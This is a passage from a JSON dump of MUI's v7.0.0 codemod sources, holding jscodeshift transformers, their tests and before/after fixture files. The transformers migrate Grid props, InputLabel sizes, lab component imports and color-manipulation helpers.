    "content": "import GridA from '@mui/material/Grid';\nimport GridLegacyA from '@mui/material/GridLegacy';\nimport GridB from '@mui/system/Grid';\nimport GridC from '@mui/joy/Grid';\nimport { Grid as GridD, GridLegacy as GridLegacyB } from '@mui/material';\nimport { Grid as GridE } from '@mui/system';\nimport { Grid as GridF } from '@mui/joy';\n\n// Transforms on all the possible imports\n<GridA size={2} />;\n<GridB size={2} />;\n<GridC size={2} />;\n<GridD size={2} />;\n<GridE size={2} />;\n<GridF size={2} />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n// Transforms responsive sizes\n<GridA\n  size={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible size values\n<GridA\n  size={{\n    xs: \"grow\",\n    sm: \"auto\",\n    md: 2,\n    lg: \"grow\",\n    xl: false\n  }} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA size=\"auto\" />;\n\n// Transforms offset\n<GridA offset={2} />;\n\n// Transforms responsive offset\n<GridA\n  offset={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible offset values\n<GridA\n  offset={{\n    xs: 2,\n    sm: \"auto\"\n  }} />;\n\n// Transforms spread props\n<GridA\n  size={{\n    xs: 2,\n    sm: 4\n  }}\n  offset={{\n    xs: 0,\n    sm: 2\n  }} />;\n\n// Doesn't transform Grid v1\n<GridLegacyA xs={2} />;\n<GridLegacyB xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/test-cases/package.actual.js",
    "content": "import GridA from '@org/ui/material/Grid';\nimport GridLegacyA from '@org/ui/material/GridLegacy';\nimport { Grid as GridD, GridLegacy as GridLegacyB } from '@org/ui/material';\n\n// Transforms on all the possible imports\n<GridA xs={2} />;\n<GridD xs={2} />;\n\n<GridA item />;\n<GridA item={true} />;\n<GridA item={false} />;\n\n<GridA zeroMinWidth />;\n<GridA zeroMinWidth={true} />;\n<GridA zeroMinWidth={false} />;\n\n// Transforms responsive sizes\n<GridA xs={2} sm={4} md={6} lg={8} xl={10} />;\n\n// Transforms all the possible size values\n<GridA xs sm=\"auto\" md={2} lg={true} xl={false} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA xs=\"auto\" />;\n\n// Transforms offset\n<GridA xsOffset={2} />;\n\n// Transforms responsive offset\n<GridA xsOffset={2} smOffset={4} mdOffset={6} lgOffset={8} xlOffset={10} />;\n\n// Transforms all the possible offset values\n<GridA xsOffset={2} smOffset=\"auto\" />;\n\n// Transforms spread props\n<GridA {...{ xs: 2, sm: 4, xsOffset: 0, smOffset: 2 }} />;\n\n// Doesn't transform Grid v1\n<GridLegacyA xs={2} />;\n<GridLegacyB xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/grid-props/test-cases/package.expected.js",
    "content": "import GridA from '@org/ui/material/Grid';\nimport GridLegacyA from '@org/ui/material/GridLegacy';\nimport { Grid as GridD, GridLegacy as GridLegacyB } from '@org/ui/material';\n\n// Transforms on all the possible imports\n<GridA size={2} />;\n<GridD size={2} />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n// Transforms responsive sizes\n<GridA\n  size={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible size values\n<GridA\n  size={{\n    xs: \"grow\",\n    sm: \"auto\",\n    md: 2,\n    lg: \"grow\",\n    xl: false\n  }} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA size=\"auto\" />;\n\n// Transforms offset\n<GridA offset={2} />;\n\n// Transforms responsive offset\n<GridA\n  offset={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible offset values\n<GridA\n  offset={{\n    xs: 2,\n    sm: \"auto\"\n  }} />;\n\n// Transforms spread props\n<GridA\n  size={{\n    xs: 2,\n    sm: 4\n  }}\n  offset={{\n    xs: 0,\n    sm: 2\n  }} />;\n\n// Doesn't transform Grid v1\n<GridLegacyA xs={2} />;\n<GridLegacyB xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/input-label-size-normal-medium/index.js",
    "content": "export { default } from './input-label-size-normal-medium';\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/input-label-size-normal-medium/input-label-size-normal-medium.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('InputLabel')\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'size' &&\n          (node.value.value === 'normal' || node.value.expression?.value === 'normal')\n        ) {\n          node.value = j.literal('medium');\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/input-label-size-normal-medium/input-label-size-normal-medium.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './input-label-size-normal-medium';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v7.0.0', () => {\n    describe('input-label-size-normal-medium', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./test-cases/actual.js'),\n            path: require.resolve('./test-cases/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./test-cases/expected.js'),\n            path: require.resolve('./test-cases/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/input-label-size-normal-medium/test-cases/actual.js",
    "content": "<div>\n  <InputLabel size=\"normal\">Label</InputLabel>\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/input-label-size-normal-medium/test-cases/expected.js",
    "content": "<div>\n  <InputLabel size=\"medium\">Label</InputLabel>\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/index.js",
    "content": "export { default } from './lab-removed-components';\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/lab-removed-components.js",
    "content": "const REMOVED_EXPORTS = [\n  'Alert',\n  'AlertTitle',\n  'Autocomplete',\n  'AvatarGroup',\n  'Pagination',\n  'PaginationItem',\n  'Rating',\n  'Skeleton',\n  'SpeedDialAction',\n  'SpeedDialIcon',\n  'SpeedDial',\n  'ToggleButton',\n  'ToggleButtonGroup',\n  'usePagination',\n];\n\nfunction replaceComponentFileImports(j, root, exportName) {\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === `@mui/lab/${exportName}`)\n    .forEach((path) => {\n      j(path).replaceWith(\n        j.importDeclaration(path.node.specifiers, j.literal(`@mui/material/${exportName}`)),\n      );\n    });\n}\n\nfunction findOrCreateMaterialBarrelImport(j, root) {\n  const materialBarrelImports = root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === `@mui/material`);\n\n  if (materialBarrelImports.length > 0) {\n    return materialBarrelImports.at(0).get().node;\n  }\n\n  const lastImport = root.find(j.ImportDeclaration).at(-1).get();\n  const materialBarrelImport = j.importDeclaration([], j.literal(`@mui/material`));\n  j(lastImport).insertAfter(materialBarrelImport);\n  return materialBarrelImport;\n}\n\nfunction replaceBarrelFileImports(j, root) {\n  // find lab barrel import\n  const labBarrelImports = root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === '@mui/lab');\n\n  if (labBarrelImports.length === 0) {\n    return;\n  }\n\n  // move specifiers from lab barrel imports to material barrel import\n  labBarrelImports.forEach((labBarrelImport) => {\n    const specifiersToMove = [];\n\n    // find all specifiers that need to be moved\n    j(labBarrelImport)\n      .find(j.ImportSpecifier)\n      .filter((specifier) => REMOVED_EXPORTS.includes(specifier.node.imported.name))\n      .forEach((specifier) => {\n        specifiersToMove.push(specifier);\n      });\n\n    // move specifiers to material barrel import\n    if (specifiersToMove.length > 0) {\n      const specifierNodes = specifiersToMove.map((specifier) => specifier.node);\n      const materialBarrelImport = findOrCreateMaterialBarrelImport(j, root);\n\n      materialBarrelImport.specifiers = [...materialBarrelImport.specifiers, ...specifierNodes];\n    }\n\n    // remove specifiers and/or lab barrel import entirely if all were moved\n    if (specifiersToMove.length === labBarrelImport.node.specifiers.length) {\n      j(labBarrelImport).remove();\n    } else {\n      specifiersToMove.forEach((specifier) => {\n        j(specifier).remove();\n      });\n    }\n  });\n}\n\nexport default function transformer(file, api) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  replaceBarrelFileImports(j, root);\n\n  REMOVED_EXPORTS.forEach((exportName) => {\n    replaceComponentFileImports(j, root, exportName);\n  });\n\n  return root.toSource();\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/lab-removed-components.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './lab-removed-components';\n\ndescribe('@mui/codemod', () => {\n  describe('v7.0.0', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'lab-removed-components',\n      dirname: __dirname,\n      testCases: [\n        {\n          actual: '/test-cases/component-file-actual.js',\n          expected: '/test-cases/component-file-expected.js',\n        },\n        {\n          actual: '/test-cases/barrel-file-actual.js',\n          expected: '/test-cases/barrel-file-expected.js',\n        },\n        {\n          actual: '/test-cases/existing-material-barrel-actual.js',\n          expected: '/test-cases/existing-material-barrel-expected.js',\n        },\n        {\n          actual: '/test-cases/specifiers-remaining-on-barrel-actual.js',\n          expected: '/test-cases/specifiers-remaining-on-barrel-expected.js',\n        },\n        {\n          actual: '/test-cases/untouched-lab-components-actual.js',\n          expected: '/test-cases/untouched-lab-components-expected.js',\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/barrel-file-actual.js",
    "content": "import {\n  Alert,\n  AlertTitle,\n  Autocomplete,\n  AvatarGroup,\n  Pagination,\n  PaginationItem,\n  Rating,\n  Skeleton,\n  SpeedDial,\n  SpeedDialAction,\n  SpeedDialIcon,\n  ToggleButton,\n  ToggleButtonGroup,\n  usePagination,\n} from '@mui/lab';\n\n<Alert />;\n<AlertTitle />;\n<Autocomplete />;\n<AvatarGroup />;\n<Pagination />;\n<PaginationItem />;\n<Rating />;\n<Skeleton />;\n<SpeedDial />;\n<SpeedDialAction />;\n<SpeedDialIcon />;\n<ToggleButton />;\n<ToggleButtonGroup />;\nusePagination();\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/barrel-file-expected.js",
    "content": "import {\n  Alert,\n  AlertTitle,\n  Autocomplete,\n  AvatarGroup,\n  Pagination,\n  PaginationItem,\n  Rating,\n  Skeleton,\n  SpeedDial,\n  SpeedDialAction,\n  SpeedDialIcon,\n  ToggleButton,\n  ToggleButtonGroup,\n  usePagination,\n} from \"@mui/material\";\n\n<Alert />;\n<AlertTitle />;\n<Autocomplete />;\n<AvatarGroup />;\n<Pagination />;\n<PaginationItem />;\n<Rating />;\n<Skeleton />;\n<SpeedDial />;\n<SpeedDialAction />;\n<SpeedDialIcon />;\n<ToggleButton />;\n<ToggleButtonGroup />;\nusePagination();\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/component-file-actual.js",
    "content": "import Alert from '@mui/lab/Alert';\nimport AlertTitle from '@mui/lab/AlertTitle';\nimport Autocomplete from '@mui/lab/Autocomplete';\nimport AvatarGroup from '@mui/lab/AvatarGroup';\nimport Pagination from '@mui/lab/Pagination';\nimport PaginationItem from '@mui/lab/PaginationItem';\nimport Rating from '@mui/lab/Rating';\nimport Skeleton from '@mui/lab/Skeleton';\nimport SpeedDial from '@mui/lab/SpeedDial';\nimport SpeedDialAction from '@mui/lab/SpeedDialAction';\nimport SpeedDialIcon from '@mui/lab/SpeedDialIcon';\nimport ToggleButton from '@mui/lab/ToggleButton';\nimport ToggleButtonGroup from '@mui/lab/ToggleButtonGroup';\nimport usePagination from '@mui/lab/usePagination';\n\n<Alert />;\n<AlertTitle />;\n<Autocomplete />;\n<AvatarGroup />;\n<Pagination />;\n<PaginationItem />;\n<Rating />;\n<Skeleton />;\n<SpeedDial />;\n<SpeedDialAction />;\n<SpeedDialIcon />;\n<ToggleButton />;\n<ToggleButtonGroup />;\nusePagination();\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/component-file-expected.js",
    "content": "import Alert from \"@mui/material/Alert\";\nimport AlertTitle from \"@mui/material/AlertTitle\";\nimport Autocomplete from \"@mui/material/Autocomplete\";\nimport AvatarGroup from \"@mui/material/AvatarGroup\";\nimport Pagination from \"@mui/material/Pagination\";\nimport PaginationItem from \"@mui/material/PaginationItem\";\nimport Rating from \"@mui/material/Rating\";\nimport Skeleton from \"@mui/material/Skeleton\";\nimport SpeedDial from \"@mui/material/SpeedDial\";\nimport SpeedDialAction from \"@mui/material/SpeedDialAction\";\nimport SpeedDialIcon from \"@mui/material/SpeedDialIcon\";\nimport ToggleButton from \"@mui/material/ToggleButton\";\nimport ToggleButtonGroup from \"@mui/material/ToggleButtonGroup\";\nimport usePagination from \"@mui/material/usePagination\";\n\n<Alert />;\n<AlertTitle />;\n<Autocomplete />;\n<AvatarGroup />;\n<Pagination />;\n<PaginationItem />;\n<Rating />;\n<Skeleton />;\n<SpeedDial />;\n<SpeedDialAction />;\n<SpeedDialIcon />;\n<ToggleButton />;\n<ToggleButtonGroup />;\nusePagination();\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/existing-material-barrel-actual.js",
    "content": "import { Alert } from '@mui/lab';\nimport { Button } from '@mui/material';\n\n<Alert />;\n<Button />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/existing-material-barrel-expected.js",
    "content": "import { Button, Alert } from '@mui/material';\n\n<Alert />;\n<Button />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/specifiers-remaining-on-barrel-actual.js",
    "content": "import { Alert, Masonry } from '@mui/lab';\n\n<Alert />;\n<Masonry />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/specifiers-remaining-on-barrel-expected.js",
    "content": "import { Masonry } from '@mui/lab';\n\nimport { Alert } from \"@mui/material\";\n\n<Alert />;\n<Masonry />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/untouched-lab-components-actual.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport { Masonry } from '@mui/lab';\n\n<Timeline />;\n<Masonry />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/lab-removed-components/test-cases/untouched-lab-components-expected.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport { Masonry } from '@mui/lab';\n\n<Timeline />;\n<Masonry />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/index.js",
    "content": "export { default } from './theme-color-functions';\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/actual.js",
    "content": "import { alpha } from '@mui/system/colorManipulator';\n\nconst Value = styled('div')(({ theme }) => ({\n  width: '100%',\n  height: '100%',\n  lineHeight: '100%',\n  paddingRight: 8,\n  fontVariantNumeric: 'tabular-nums',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'flex-end',\n  '&.good': {\n    backgroundColor: theme.vars\n      ? `rgba(${theme.vars.palette.success.mainChannel} /  0.3)`\n      : alpha(theme.palette.success.main, 0.3),\n  },\n  '&.bad': {\n    backgroundColor: theme.vars\n      ? `rgba(${theme.vars.palette.error.mainChannel} /  0.3)`\n      : alpha(theme.palette.error.main, 0.3),\n  },\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/darken-basic.actual.js",
    "content": "import { darken } from '@mui/system/colorManipulator';\n\nconst Button = styled('button')(({ theme }) => ({\n  backgroundColor: darken(theme.palette.primary.main, 0.1),\n  '&:active': {\n    backgroundColor: darken(theme.palette.primary.main, 0.3),\n  },\n  '&:disabled': {\n    backgroundColor: darken(theme.palette.action.disabled, 0.1),\n  },\n}));\n\nconst Card = styled('div')(({ theme }) => ({\n  boxShadow: `0 2px 4px ${darken(theme.palette.background.paper, 0.15)}`,\n  borderColor: darken(theme.palette.divider, 0.2),\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/darken-basic.expected.js",
    "content": "const Button = styled('button')(({ theme }) => ({\n  backgroundColor: theme.darken(theme.palette.primary.main, 0.1),\n  '&:active': {\n    backgroundColor: theme.darken(theme.palette.primary.main, 0.3),\n  },\n  '&:disabled': {\n    backgroundColor: theme.darken(theme.palette.action.disabled, 0.1),\n  },\n}));\n\nconst Card = styled('div')(({ theme }) => ({\n  boxShadow: `0 2px 4px ${theme.darken(theme.palette.background.paper, 0.15)}`,\n  borderColor: theme.darken(theme.palette.divider, 0.2),\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/expected.js",
    "content": "const Value = styled('div')(({ theme }) => ({\n  width: '100%',\n  height: '100%',\n  lineHeight: '100%',\n  paddingRight: 8,\n  fontVariantNumeric: 'tabular-nums',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'flex-end',\n  '&.good': {\n    backgroundColor: theme.alpha((theme.vars || theme).palette.success.main, 0.3),\n  },\n  '&.bad': {\n    backgroundColor: theme.alpha((theme.vars || theme).palette.error.main, 0.3),\n  },\n}));\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/lighten-basic.actual.js",
    "content": "import { lighten } from '@mui/system/colorManipulator';\n\nconst Component = styled('div')(({ theme }) => ({\n  backgroundColor: lighten(theme.palette.primary.main, 0.2),\n  color: lighten(theme.palette.text.primary, 0.5),\n  border: `1px solid ${lighten(theme.palette.divider, 0.1)}`,\n  '&:hover': {\n    backgroundColor: lighten(theme.palette.primary.dark, 0.3),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/lighten-basic.expected.js",
    "content": "const Component = styled('div')(({ theme }) => ({\n  backgroundColor: theme.lighten(theme.palette.primary.main, 0.2),\n  color: theme.lighten(theme.palette.text.primary, 0.5),\n  border: `1px solid ${theme.lighten(theme.palette.divider, 0.1)}`,\n  '&:hover': {\n    backgroundColor: theme.lighten(theme.palette.primary.dark, 0.3),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/mixed-functions.actual.js",
    "content": "import { alpha, lighten, darken } from '@mui/system/colorManipulator';\n\nconst ComplexComponent = styled('div')(({ theme }) => ({\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.primary.mainChannel} / 0.1)`\n    : alpha(theme.palette.primary.main, 0.1),\n  border: `2px solid ${lighten(theme.palette.primary.main, 0.5)}`,\n  '&:hover': {\n    backgroundColor: theme.vars\n      ? `rgba(${theme.vars.palette.primary.mainChannel} / 0.2)`\n      : alpha(theme.palette.primary.main, 0.2),\n    borderColor: darken(theme.palette.primary.main, 0.2),\n  },\n  '&:active': {\n    backgroundColor: darken(theme.palette.primary.dark, 0.1),\n    color: lighten(theme.palette.primary.contrastText, 0.3),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/mixed-functions.expected.js",
    "content": "const ComplexComponent = styled('div')(({ theme }) => ({\n  backgroundColor: theme.alpha((theme.vars || theme).palette.primary.main, 0.1),\n  border: `2px solid ${theme.lighten(theme.palette.primary.main, 0.5)}`,\n  '&:hover': {\n    backgroundColor: theme.alpha((theme.vars || theme).palette.primary.main, 0.2),\n    borderColor: theme.darken(theme.palette.primary.main, 0.2),\n  },\n  '&:active': {\n    backgroundColor: theme.darken(theme.palette.primary.dark, 0.1),\n    color: theme.lighten(theme.palette.primary.contrastText, 0.3),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/mixed-imports.actual.js",
    "content": "import { alpha } from '@mui/system/colorManipulator';\nimport { lighten, darken, styled } from '@mui/material/styles';\n\nexport const Component = styled('div')(({ theme }) => ({\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.primary.mainChannel} / 0.5)`\n    : alpha(theme.palette.primary.main, 0.5),\n  '&:hover': {\n    backgroundColor: lighten(theme.palette.primary.main, 0.2),\n  },\n  '&:active': {\n    backgroundColor: darken(theme.palette.primary.main, 0.2),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/mixed-imports.expected.js",
    "content": "import { styled } from '@mui/material/styles';\n\nexport const Component = styled('div')(({ theme }) => ({\n  backgroundColor: theme.alpha((theme.vars || theme).palette.primary.main, 0.5),\n  '&:hover': {\n    backgroundColor: theme.lighten(theme.palette.primary.main, 0.2),\n  },\n  '&:active': {\n    backgroundColor: theme.darken(theme.palette.primary.main, 0.2),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/mui-material-styles.actual.js",
    "content": "import { alpha, lighten, darken } from '@mui/material/styles';\n\nexport const Component = styled('div')(({ theme }) => ({\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.primary.mainChannel} / 0.5)`\n    : alpha(theme.palette.primary.main, 0.5),\n  '&:hover': {\n    backgroundColor: lighten(theme.palette.primary.main, 0.2),\n  },\n  '&:active': {\n    backgroundColor: darken(theme.palette.primary.main, 0.2),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/mui-material-styles.expected.js",
    "content": "export const Component = styled('div')(({ theme }) => ({\n  backgroundColor: theme.alpha((theme.vars || theme).palette.primary.main, 0.5),\n  '&:hover': {\n    backgroundColor: theme.lighten(theme.palette.primary.main, 0.2),\n  },\n  '&:active': {\n    backgroundColor: theme.darken(theme.palette.primary.main, 0.2),\n  },\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/no-import.actual.js",
    "content": "// This file should not be transformed because it doesn't import from @mui/system/colorManipulator\n\nconst Component = styled('div')(({ theme }) => ({\n  backgroundColor: alpha(theme.palette.primary.main, 0.1),\n  color: lighten(theme.palette.text.primary, 0.5),\n  border: `1px solid ${darken(theme.palette.divider, 0.2)}`,\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/no-import.expected.js",
    "content": "// This file should not be transformed because it doesn't import from @mui/system/colorManipulator\n\nconst Component = styled('div')(({ theme }) => ({\n  backgroundColor: alpha(theme.palette.primary.main, 0.1),\n  color: lighten(theme.palette.text.primary, 0.5),\n  border: `1px solid ${darken(theme.palette.divider, 0.2)}`,\n}));"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/opacity-calc.actual.js",
    "content": "import { alpha } from '@mui/system/colorManipulator';\n\nexport const TreeItemContent =\n  styled('div', {\n    name: 'MuiTreeItem',\n    slot: 'Content',\n    overridesResolver: (props, styles) => styles.content,\n    shouldForwardProp: (prop) => shouldForwardProp(prop) && prop !== 'status',\n  }) <\n  { status: UseTreeItemStatus } >\n  (({ theme }) => ({\n    padding: theme.spacing(0.5, 1),\n    paddingLeft: `calc(${theme.spacing(1)} + var(--TreeView-itemChildrenIndentation) * var(--TreeView-itemDepth))`,\n    borderRadius: theme.shape.borderRadius,\n    width: '100%',\n    boxSizing: 'border-box', // prevent width + padding to overflow\n    position: 'relative',\n    display: 'flex',\n    alignItems: 'center',\n    gap: theme.spacing(1),\n    cursor: 'pointer',\n    WebkitTapHighlightColor: 'transparent',\n    '&:hover': {\n      backgroundColor: (theme.vars || theme).palette.action.hover,\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    '&[data-disabled]': {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n      backgroundColor: 'transparent',\n    },\n    '&[data-focused]': {\n      backgroundColor: (theme.vars || theme).palette.action.focus,\n    },\n    '&[data-selected]': {\n      backgroundColor: theme.vars\n        ? `rgba(${theme.vars.palette.primary.mainChannel} / ${theme.vars.palette.action.selectedOpacity})`\n        : alpha(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n      '&:hover': {\n        backgroundColor: theme.vars\n          ? `rgba(${theme.vars.palette.primary.mainChannel} / calc(${theme.vars.palette.action.selectedOpacity} + ${theme.vars.palette.action.hoverOpacity}))`\n          : alpha(\n              theme.palette.primary.main,\n              theme.palette.action.selectedOpacity + theme.palette.action.hoverOpacity,\n            ),\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: theme.vars\n            ? `rgba(${theme.vars.palette.primary.mainChannel} / ${theme.vars.palette.action.selectedOpacity})`\n            : alpha(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n        },\n      },\n    },\n    '&[data-selected][data-focused]': {\n      backgroundColor: theme.vars\n        ? `rgba(${theme.vars.palette.primary.mainChannel} / calc(${theme.vars.palette.action.selectedOpacity} + ${theme.vars.palette.action.focusOpacity}))`\n        : alpha(\n            theme.palette.primary.main,\n            theme.palette.action.selectedOpacity + theme.palette.action.focusOpacity,\n          ),\n    },\n  }));\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/opacity-calc.expected.js",
    "content": "export const TreeItemContent =\n  styled('div', {\n    name: 'MuiTreeItem',\n    slot: 'Content',\n    overridesResolver: (props, styles) => styles.content,\n    shouldForwardProp: (prop) => shouldForwardProp(prop) && prop !== 'status',\n  }) <\n  { status: UseTreeItemStatus } >\n  (({ theme }) => ({\n    padding: theme.spacing(0.5, 1),\n    paddingLeft: `calc(${theme.spacing(1)} + var(--TreeView-itemChildrenIndentation) * var(--TreeView-itemDepth))`,\n    borderRadius: theme.shape.borderRadius,\n    width: '100%',\n    boxSizing: 'border-box', // prevent width + padding to overflow\n    position: 'relative',\n    display: 'flex',\n    alignItems: 'center',\n    gap: theme.spacing(1),\n    cursor: 'pointer',\n    WebkitTapHighlightColor: 'transparent',\n    '&:hover': {\n      backgroundColor: (theme.vars || theme).palette.action.hover,\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    '&[data-disabled]': {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n      backgroundColor: 'transparent',\n    },\n    '&[data-focused]': {\n      backgroundColor: (theme.vars || theme).palette.action.focus,\n    },\n    '&[data-selected]': {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        (theme.vars || theme).palette.action.selectedOpacity\n      ),\n      '&:hover': {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`\n        ),\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: theme.alpha(\n            (theme.vars || theme).palette.primary.main,\n            (theme.vars || theme).palette.action.selectedOpacity\n          ),\n        },\n      },\n    },\n    '&[data-selected][data-focused]': {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`\n      ),\n    },\n  }));\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/opacity-var.actual.js",
    "content": "import { alpha } from '@mui/system/colorManipulator';\n\nexport const DigitalClockItem = styled(MenuItem, {\n  name: 'MuiDigitalClock',\n  slot: 'Item',\n  shouldForwardProp: (prop) => prop !== 'itemValue' && prop !== 'formattedValue',\n  overridesResolver: (props, styles) => styles.item,\n})(({ theme }) => ({\n  padding: '8px 16px',\n  margin: '2px 4px',\n  '&:first-of-type': {\n    marginTop: 4,\n  },\n  '&:hover': {\n    backgroundColor: theme.vars\n      ? `rgba(${theme.vars.palette.primary.mainChannel} / ${theme.vars.palette.action.hoverOpacity})`\n      : alpha(theme.palette.primary.main, theme.palette.action.hoverOpacity),\n  },\n  '&.Mui-selected': {\n    backgroundColor: (theme.vars || theme).palette.primary.main,\n    color: (theme.vars || theme).palette.primary.contrastText,\n    '&:focus-visible, &:hover': {\n      backgroundColor: (theme.vars || theme).palette.primary.dark,\n    },\n  },\n  '&.Mui-focusVisible': {\n    backgroundColor: theme.vars\n      ? `rgba(${theme.vars.palette.primary.mainChannel} / ${theme.vars.palette.action.focusOpacity})`\n      : alpha(theme.palette.primary.main, theme.palette.action.focusOpacity),\n  },\n}));\n\nfunction transform(t) {\n  const backgroundBackdrop = t.vars\n    ? `rgba(${t.vars.palette.background.defaultChannel} / ${t.vars.palette.action.disabledOpacity})`\n    : alpha(t.palette.background.default, t.palette.action.disabledOpacity);\n}\n"
  },
  {
